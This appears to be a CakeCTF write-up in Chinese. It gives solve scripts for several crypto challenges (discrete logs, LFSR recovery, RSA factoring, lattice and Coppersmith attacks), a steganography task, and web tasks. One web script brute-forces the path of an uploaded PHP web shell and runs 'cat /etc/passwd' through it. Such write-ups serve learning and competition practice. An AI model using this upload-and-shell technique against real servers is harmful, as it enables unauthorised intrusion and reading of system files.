from Crypto.Util.number import getPrime, isPrime, getRandomRange
defgetSafePrime(bits): whileTrue: p = getPrime(bits - 1) q = 2*p + 1 if isPrime(q): return q
withopen("flag.txt", "rb") as f: flag = f.read().strip()
p = getSafePrime(512) g = getRandomRange(2, p) r = getRandomRange(2, p)
cs = [] for m in flag: cs.append(pow(g, r*m, p))
print(p) print(g) print(cs)
這題有幾個參數 ,其中只有
是你所不知道的數。它對 flag
的每個字元的 ASCII 作為 ,計算
的值給你。
因為 flag format 是
CakeCTF\{[\x20-\x7e]+\},第一個字元只會是
C,因此可以由此求出 。然後因為其他字元也都是在 \x20-\x7e
範圍中,一個一個暴力算出來即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
# fmt: off p = 10577926960839937947442162797370864980541285292536671603546595533193324977125572190720609448828374782284663027664894813711243894320697692129630847705557539 g = 9947724104164898694903023872711663896409433873530762235716749042436185304062119886390357927264325412355223958396239523671881766361219889894069645084522127 cs = [] # too big... # fmt: on
Z = Zmod(p) cs = [Z(x) for x in cs] g = Z(g) gr = cs[0].nth_root(ord("C")) assert gr ^ ord("a") == cs[1] for x in cs: for c inrange(256): if x == gr ^ c: break print(chr(c), end="")
c = 0x58566F59979E98E5F2F3ECEA26CFB0319BC9186E206D6B33E933F3508E39E41BB771E4AF053 cs = [0] + list(map(int, bin(c)[2:])) # manually pad leading zeros ps = list(map(int, bin(int.from_bytes(b"CakeCTF{", "little"))[2:][::-1])) + [0] ss = [x ^ y for x, y inzip(cs, ps)]
P = PolynomialRing(GF(2), "x") x = P.gen() poly = 1 + x + x ** 3 + x ** 4 + x ** 64 M = companion_matrix(poly, "bottom") stream = list(ss) stream += list(map(int, M ** 64 * vector(ss))) stream += list(map(int, M ** 128 * vector(ss))) stream += list(map(int, M ** 192 * vector(ss))) stream += list(map(int, M ** 256 * vector(ss))) print("stream", stream) print( int("".join([str(a ^ b) for a, b inzip(cs, stream)][::-1]), 2).to_bytes( 40, "little" ) )
Together as one
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
from Crypto.Util.number import getStrongPrime, bytes_to_long
p = getStrongPrime(512) q = getStrongPrime(512) r = getStrongPrime(512)
n = p*q*r
x = pow(p + q, r, n) y = pow(p + q*r, r, n)
m = bytes_to_long(open("./flag.txt", "rb").read()) assert m.bit_length() > 512 c = pow(m, 0x10001, n)
n = 0x94CF51734887AA44204E7D64ED2B30763FD0715060AFD5D15B697C940C272422B4CA765485F7C3116DB1166AD1FEC4CD4D82D3B32E881ED49F52EFE31A226B307D60F2FB375400F9A19B0142E7D88D6118E02971724186E1EF13E586C744240B3EE7D6A105B82A3E3126AE364550E9B3A19D6B012083B8633AD428CF75CB200FE31121E6BF095418C5ED3819225910BC69EBE2E6A219638B830DF45015C75CA9A507DC924718A540CFB5D2DF09FF28D7CF8FEB0E5E69A3D71057004132BB3E79 c = 0x8C0450DFF19D853673D51CB2EAB4CB84FFA7FA3EBA900C1E96ADBB2CCB6708320233E18B2D6CE487DBFB88F15B0CCAC5829818CA49AC8AB08A1E5B94E27550798E6D1AAE48812B784144DC7BED55CEC6283042A296E25490990E07B8FF51B1A500B6D8C39AF1C07C1EF57CA2B3774A4D38F6006A64F37133915F9AFCBD08394E74C616FABD77D79CD9559A3EEE41F2507556637BAC6145BFBA22319F424F07A33221A8FB9C89DC3C68E188230ED36E95A6BAF977CA58D2036D136EBD55BD45D3 x = 0x38F530204337208B5BBFADD20FCD4416D8BE1563C338C0BA464ABBCD3699794C0C8E0B6F17F41BC5E42DD5F900D3644B34F4530157CC8C026894F97F2FEB5475E58CDF9125D96BDAE25BBF6AFDF58129C8E1C70A5B47F2DBE3F89E851C124BED2B40F6E8EC8D6D3FF941FA5DCDE893C661059FFFDB5086863E35228BC79B1BA830555C3168C88A53E3C7EEE17312C401914442D4E04C5014AA484994D0C680980F53AEEF01C9C246EC76DCDF8816036B77629610709CCC533CBD09A818146060 y = 0x607E4383EE2F5BB068A4FB51205396C784A56E971CEE8F2B2C79FBF1CE4161A4031AA10DF22723005024EF592764C4391F31CA35137221A7431C68033B5F92AB5BF9C660E5CDA375FAF4F4E734CB8745D0B7B056B2D9BA38A733FAE118F07CEB1AF4FBB2818B6CF4394F166F3790A9AD39EFB27A970399ED1FC04B96A282681109825C96E3784F1EE3AC1A787F28DD7C74CC6CCCECFFB0CE534E1ED7192CCC2BC3F822AD16DC42608D6FE1DE447E4ED9474D1113BD0514D1F90B92F04769059
q = gcd(n, x - y) r = gcd(y - x + q, n) // q p = n // (r * q) assert p * q * r == n
d = inverse_mod(65537, (p - 1) * (q - 1) * (r - 1)) m = power_mod(c, d, n) print(long_to_bytes(m))
withopen("output.txt") as f: B = Matrix(ZZ, eval(f.readline())) c = vector(ZZ, eval(f.readline()))
defBabai_closest_vector(B, target): # Babai's Nearest Plane algorithm M = B.LLL() G = M.gram_schmidt()[0] small = target for _ inrange(1): for i inreversed(range(M.nrows())): c = ((small * G[i]) / (G[i] * G[i])).round() small -= M[i] * c return target - small
m = B.solve_left(Babai_closest_vector(B, c)) print(bytes(m))
P = PolynomialRing(Zmod(n1 * n2), "x", 1) x = P.gen() # CRT special case: https://en.wikipedia.org/wiki/Chinese_remainder_theorem#Case_of_two_moduli f = x * x - (((c1 - x * b1)) * m2 * n2 + (c2 - x * b2) * m1 * n1) load("~/workspace/coppersmith.sage") # https://github.com/defund/coppersmith m = small_roots(f, (2 ** 900,), m=4)[0][0] print(long_to_bytes(m))
# Or using sage builtin small_roots (need to tweat some parameters...): P = PolynomialRing(Zmod(n1 * n2), "x") x = P.gen() f = x * x - (((c1 - x * b1)) * m2 * n2 + (c2 - x * b2) * m1 * n1) m = f.small_roots(X=2 ** 900, beta=0.5, epsilon=0.04)[0] print(long_to_bytes(m))
後來去看了一下出題者的振り返り說這題的來源出自於
Plaid CTF 2017 的 multicast,然後看了一下 writeup
學到了對於這種情形的一個比較 general 的做法。
images = request.files.getlist('images[]') for f in images: with tempfile.NamedTemporaryFile() as t: f.save(t.name) f.seek(0) if imghdr.what(t.name) != 'jpeg': abort(400)
for f in images: name = os.path.basename(f.filename) if name == '': abort(400) else: f.save(PATH_IMAGE.format(user_id=session['user_id'], name=name))
return'OK'
可以看到它用了 imghdr.what 去檢查檔案格式是否是
jpeg,並以指定的名稱把檔案寫入到 user 的資料夾中。題目的關鍵在於
imghdr.what 裡面判斷 jpeg 是這樣判斷的:
1 2 3 4
deftest_jpeg(h, f): """JPEG data in JFIF or Exif format""" if h[6:10] in (b'JFIF', b'Exif'): return'jpeg'
asyncfunctionqueryNekoByName(neko_name, callback) { let filter = /(\'|\\|\s)/g let result = [] if (typeof neko_name === 'string') { /* Process single query */ if (filter.exec(neko_name) === null) { try { let row = awaitquerySqlStatement(`SELECT * FROM neko WHERE name='${neko_name}'`) if (row) result.push(row) } catch {} } } else { /* Process multiple queries */ for (let name of neko_name) { if (filter.exec(name.toString()) === null) { try { console.log('QUERY', `SELECT * FROM neko WHERE name='${name}'`) let row = awaitquerySqlStatement(`SELECT * FROM neko WHERE name='${name}'`) if (row) result.push(row) } catch {} } } } callback(result) }
/* Detect hacking attempt (This is not necessary but just in case) */ if (strstr($filename, "..") !== FALSE) returnarray($dname, "Do not include '..' in file name");
/* Check extension */ if (preg_match('/^.+\.zip/', $filename, $result) !== 1) returnarray($dname, "Invalid extension (Only .zip is allowed)");
/* Move the files */ if (@move_uploaded_file($tmpfile, "temp/$dname/$filename") !== TRUE) returnarray($dname, "Failed to upload the file: $dname/$filename"); }
asyncdefcheck(h, client): u = url + f"temp/{h}/.shell.zip.php" try: r = await client.get(u, params={"cmd": "cat /etc/passwd"}) except httpx.ConnectTimeout as ex: returnawait check(h, client) if"root"in r.text: print(r.text) print(u) returnTrue returnFalse
asyncdefbrute(): asyncwith httpx.AsyncClient() as client: hs = [ sha1(f"{i:13x}".encode()).hexdigest() for i inrange(uid - 100000, uid + 1000) ] n = 500 for i inrange(0, len(hs), n): print(i) results = await asyncio.gather(*[check(h, client) for h in hs[i : i + n]]) ifany(results): break
from PIL import Image import numpy as np from Crypto.Util.number import long_to_bytes
img = Image.open("chall.png") d = [x & 1for x insum(img.getdata(), ())] print(d[:10])
defchunk(d, n): return [d[i : i + n] for i inrange(0, len(d) // n * n, n)]
for bl inrange(64, 640): A = np.array(chunk(d, bl)) m, n = A.shape bits = np.array([1if A[:, i].sum() == m else0for i inrange(n)]) flag = long_to_bytes(int("".join(map(str, bits[::-1])), 2)) ifb"CakeCTF"in flag: print(flag) break